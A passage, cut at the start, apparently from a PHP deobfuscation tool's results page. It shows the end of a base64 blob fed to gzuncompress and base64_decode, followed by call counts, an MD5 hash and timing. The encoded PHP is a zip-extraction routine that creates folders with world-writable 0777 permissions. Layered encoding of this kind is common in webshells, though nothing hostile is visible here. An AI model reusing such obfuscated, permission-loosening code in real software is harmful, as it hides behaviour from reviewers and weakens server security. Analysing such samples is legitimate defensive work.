9sZW4nXSk7CiAgICAgICAgZWxzZSAkaGVhZGVyWydjb21tZW50J10gPSAnJzsKCiAgICAgICAgaWYgKCRoZWFkZXJbJ21kYXRlJ10gJiYgJGhlYWRlclsnbXRpbWUnXSkgewogICAgICAgICAgICAkaG91ciA9ICgkaGVhZGVyWydtdGltZSddICYgMHhGODAwKSA+PiAxMTsKICAgICAgICAgICAgJG1pbnV0ZSA9ICgkaGVhZGVyWydtdGltZSddICYgMHgwN0UwKSA+PiA1OwogICAgICAgICAgICAkc2Vjb25kZSA9ICgkaGVhZGVyWydtdGltZSddICYgMHgwMDFGKSAqIDI7CiAgICAgICAgICAgICR5ZWFyID0gKCgkaGVhZGVyWydtZGF0ZSddICYgMHhGRTAwKSA+PiA5KSArIDE5ODA7CiAgICAgICAgICAgICRtb250aCA9ICgkaGVhZGVyWydtZGF0ZSddICYgMHgwMUUwKSA+PiA1OwogICAgICAgICAgICAkZGF5ID0gJGhlYWRlclsnbWRhdGUnXSAmIDB4MDAxRjsKICAgICAgICAgICAgJGhlYWRlclsnbXRpbWUnXSA9IG1rdGltZSgkaG91ciwgJG1pbnV0ZSwgJHNlY29uZGUsICRtb250aCwgJGRheSwgJHllYXIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRoZWFkZXJbJ210aW1lJ10gPSB0aW1lKCk7CiAgICAgICAgfQogICAgICAgICRoZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddID0gJGhlYWRlclsnZmlsZW5hbWUnXTsKICAgICAgICAkaGVhZGVyWydzdGF0dXMnXSA9ICdvayc7CiAgICAgICAgaWYgKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAtMSkgPT0gJy8nKQogICAgICAgICAgICAkaGVhZGVyWydleHRlcm5hbCddID0gMHg0MUZGMDAxMDsKICAgICAgICByZXR1cm4gJGhlYWRlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBSZWFkQ2VudHJhbERpcigkemlwLCAkemlwX25hbWUpCiAgICB7CiAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgkemlwX25hbWUpOwoKICAgICAgICBpZiAoJHNpemUgPCAyNzcpICRtYXhpbXVtX3NpemUgPSAkc2l6ZTsKICAgICAgICBlbHNlICRtYXhpbXVtX3NpemUgPSAyNzc7CgogICAgICAgIEBmc2VlaygkemlwLCAkc2l6ZSAtICRtYXhpbXVtX3NpemUpOwogICAgICAgICRwb3MgPSBmdGVsbCgkemlwKTsKICAgICAgICAkYnl0ZXMgPSAweDAwMDAwMDAwOwoKICAgICAgICB3aGlsZSAoJHBvcyA8ICRzaXplKSB7CiAgICAgICAgICAgICRieXRlID0gQGZyZWFkKCR6aXAsIDEpOwogICAgICAgICAgICAkYnl0ZXMgPSAoJGJ5dGVzIDw8IDgpIHwgb3JkKCRieXRlKTsKICAgICAgICAgICAgaWYgKCRieXRlcyA9PSAweDUwNGIwNTA2IG9yICRieXRlcyA9PSAweDJlNzA2ODcwNTA0YjA1MDYpIHsKICAgICAgICAgICAgICAgICRwb3MrKzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRwb3MrKzsKICAgICAgICB9CgogICAgICAgICRmZGF0YSA9IGZyZWFkKCR6aXAsIDE4KTsKCiAgICAgICAgJGRhdGEgPSBAdW5wYWNrKCd2ZGlzay92ZGlza19zdGFydC92ZGlza19lbnRyaWVzL3ZlbnRyaWVzL1ZzaXplL1ZvZmZzZXQvdmNvbW1lbnRfc2l6ZScsICRmZGF0YSk7CgogICAgICAgIGlmICgkZGF0YVsnY29tbWVudF9zaXplJ10gIT0gMCkgJGNlbnRkWydjb21tZW50J10gPSBmcmVhZCgkemlwLCAkZGF0YVsnY29tbWVudF9zaXplJ10pOwogICAgICAgIGVsc2UgJGNlbnRkWydjb21tZW50J10gPSAnJzsKICAgICAgICAkY2VudGRbJ2VudHJpZXMnXSA9ICRkYXRhWydlbnRyaWVzJ107CiAgICAgICAgJGNlbnRkWydkaXNrX2VudHJpZXMnXSA9ICRkYXRhWydkaXNrX2VudHJpZXMnXTsKICAgICAgICAkY2VudGRbJ29mZnNldCddID0gJGRhdGFbJ29mZnNldCddOwogICAgICAgICRjZW50ZFsnZGlza19zdGFydCddID0gJGRhdGFbJ2Rpc2tfc3RhcnQnXTsKICAgICAgICAkY2VudGRbJ3NpemUnXSA9ICRkYXRhWydzaXplJ107CiAgICAgICAgJGNlbnRkWydkaXNrJ10gPSAkZGF0YVsnZGlzayddOwogICAgICAgIHJldHVybiAkY2VudGQ7CiAgICB9CgogICAgZnVuY3Rpb24gRXh0cmFjdEZpbGUoJGhlYWRlciwgJHRvLCAkemlwKQogICAgewogICAgICAgICRoZWFkZXIgPSAkdGhpcy0+cmVhZGZpbGVoZWFkZXIoJHppcCk7CgogICAgICAgIGlmIChzdWJzdHIoJHRvLCAtMSkgIT0gIi8iKSAkdG8gLj0gIi8iOwogICAgICAgIGlmICgkdG8gPT0gJy4vJykgJHRvID0gJyc7CiAgICAgICAgJHB0aCA9IGV4cGxvZGUoIi8iLCAkdG8gLiAkaGVhZGVyWydmaWxlbmFtZSddKTsKICAgICAgICAkbXlkaXIgPSAnJzsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkcHRoKSAtIDE7ICRpKyspIHsKICAgICAgICAgICAgaWYgKCEkcHRoWyRpXSkgY29udGludWU7CiAgICAgICAgICAgICRteWRpciAuPSAkcHRoWyRpXSAuICIvIjsKICAgICAgICAgICAgaWYgKCghaXNfZGlyKCRteWRpcikgJiYgQG1rZGlyKCRteWRpciwgMDc3NykpIHx8ICgoJG15ZGlyID09ICR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10gfHwgKCRteWRpciA9PSAkdG8gJiYgJHRoaXMtPnRvdGFsX2ZvbGRlcnMgPT0gMCkpICYmIGlzX2RpcigkbXlkaXIpKSkgewogICAgICAgICAgICAgICAgQGNobW9kKCRteWRpciwgMDc3Nyk7CiAgICAgICAgICAgICAgICAkdGhpcy0+dG90YWxfZm9sZGVycysrOwogICAgICAgICAgICAgICAgZWNobyAixL/CvDogJG15ZGlyPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmIChzdHJyY2hyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sICcvJykgPT0gJy8nKSByZXR1cm47CgogICAgICAgIGlmICghKCRoZWFkZXJbJ2V4dGVybmFsJ10gPT0gMHg0MUZGMDAxMCkgJiYgISgkaGVhZGVyWydleHRlcm5hbCddID09IDE2KSkgewogICAgICAgICAgICBpZiAoJGhlYWRlclsnY29tcHJlc3Npb24nXSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJHRvIC4gJGhlYWRlclsnZmlsZW5hbWUnXSwgJ3diJyk7CiAgICAgICAgICAgICAgICBpZiAoISRmcCkgcmV0dXJuICgtMSk7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRoZWFkZXJbJ2NvbXByZXNzZWRfc2l6ZSddOwoKICAgICAgICAgICAgICAgIHdoaWxlICgkc2l6ZSAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlYWRfc2l6ZSA9ICgkc2l6ZSA8IDIwNDggPyAkc2l6ZSA6IDIwNDgpOwogICAgICAgICAgICAgICAgICAgICRidWZmZXIgPSBmcmVhZCgkemlwLCAkcmVhZF9zaXplKTsKICAgICAgICAgICAgICAgICAgICAkYmluYXJ5X2RhdGEgPSBwYWNrKCdhJyAuICRyZWFkX3NpemUsICRidWZmZXIpOwogICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGZwLCAkYmluYXJ5X2RhdGEsICRyZWFkX3NpemUpOwogICAgICAgICAgICAgICAgICAgICRzaXplIC09ICRyZWFkX3NpemU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIHRvdWNoKCR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ210aW1lJ10pOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10gLiAnLmd6JywgJ3diJyk7CiAgICAgICAgICAgICAgICBpZiAoISRmcCkgcmV0dXJuICgtMSk7CiAgICAgICAgICAgICAgICAkYmluYXJ5X2RhdGEgPSBwYWNrKCd2YTFhMVZhMWExJywgMHg4YjFmLCBDaHIoJGhlYWRlclsnY29tcHJlc3Npb24nXSksCiAgICAgICAgICAgICAgICAgICAgQ2hyKDB4MDApLCB0aW1lKCksIENocigweDAwKSwgQ2hyKDMpKTsKCiAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkYmluYXJ5X2RhdGEsIDEwKTsKICAgICAgICAgICAgICAgICRzaXplID0gJGhlYWRlclsnY29tcHJlc3NlZF9zaXplJ107CgogICAgICAgICAgICAgICAgd2hpbGUgKCRzaXplICE9IDApIHsKICAgICAgICAgICAgICAgICAgICAkcmVhZF9zaXplID0gKCRzaXplIDwgMTAyNCA/ICRzaXplIDogMTAyNCk7CiAgICAgICAgICAgICAgICAgICAgJGJ1ZmZlciA9IGZyZWFkKCR6aXAsICRyZWFkX3NpemUpOwogICAgICAgICAgICAgICAgICAgICRiaW5hcnlfZGF0YSA9IHBhY2soJ2EnIC4gJHJlYWRfc2l6ZSwgJGJ1ZmZlcik7CiAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkZnAsICRiaW5hcnlfZGF0YSwgJHJlYWRfc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgJHNpemUgLT0gJHJlYWRfc2l6ZTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkYmluYXJ5X2RhdGEgPSBwYWNrKCdWVicsICRoZWFkZXJbJ2NyYyddLCAkaGVhZGVyWydzaXplJ10pOwogICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJGJpbmFyeV9kYXRhLCA4KTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwoKICAgICAgICAgICAgICAgICRnenAgPSBAZ3pvcGVuKCR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10gLiAnLmd6JywgJ3JiJykgb3IgZGllKCJDZXR0ZSBhcmNoaXZlIGVzdCBjb21wcmVzcyIpOwogICAgICAgICAgICAgICAgaWYgKCEkZ3pwKSByZXR1cm4gKC0yKTsKICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkdG8gLiAkaGVhZGVyWydmaWxlbmFtZSddLCAnd2InKTsKICAgICAgICAgICAgICAgIGlmICghJGZwKSByZXR1cm4gKC0xKTsKICAgICAgICAgICAgICAgICRzaXplID0gJGhlYWRlclsnc2l6ZSddOwoKICAgICAgICAgICAgICAgIHdoaWxlICgkc2l6ZSAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlYWRfc2l6ZSA9ICgkc2l6ZSA8IDIwNDggPyAkc2l6ZSA6IDIwNDgpOwogICAgICAgICAgICAgICAgICAgICRidWZmZXIgPSBnenJlYWQoJGd6cCwgJHJlYWRfc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgJGJpbmFyeV9kYXRhID0gcGFjaygnYScgLiAkcmVhZF9zaXplLCAkYnVmZmVyKTsKICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCRmcCwgJGJpbmFyeV9kYXRhLCAkcmVhZF9zaXplKTsKICAgICAgICAgICAgICAgICAgICAkc2l6ZSAtPSAkcmVhZF9zaXplOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICBnemNsb3NlKCRnenApOwoKICAgICAgICAgICAgICAgIHRvdWNoKCR0byAuICRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ210aW1lJ10pOwogICAgICAgICAgICAgICAgQHVubGluaygkdG8gLiAkaGVhZGVyWydmaWxlbmFtZSddIC4gJy5neicpOwoKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnRvdGFsX2ZpbGVzKys7CiAgICAgICAgZWNobyAizsS8/jogJHRvJGhlYWRlcltmaWxlbmFtZV08YnI+IjsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQoKLy9vYl9lbmRfZmx1c2goKTsK")));
Function Calls
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | b50dca1d61bb14d67f0d83c7748f4bc2 |
Eval Count | 0 |
Decode Time | 13189 ms |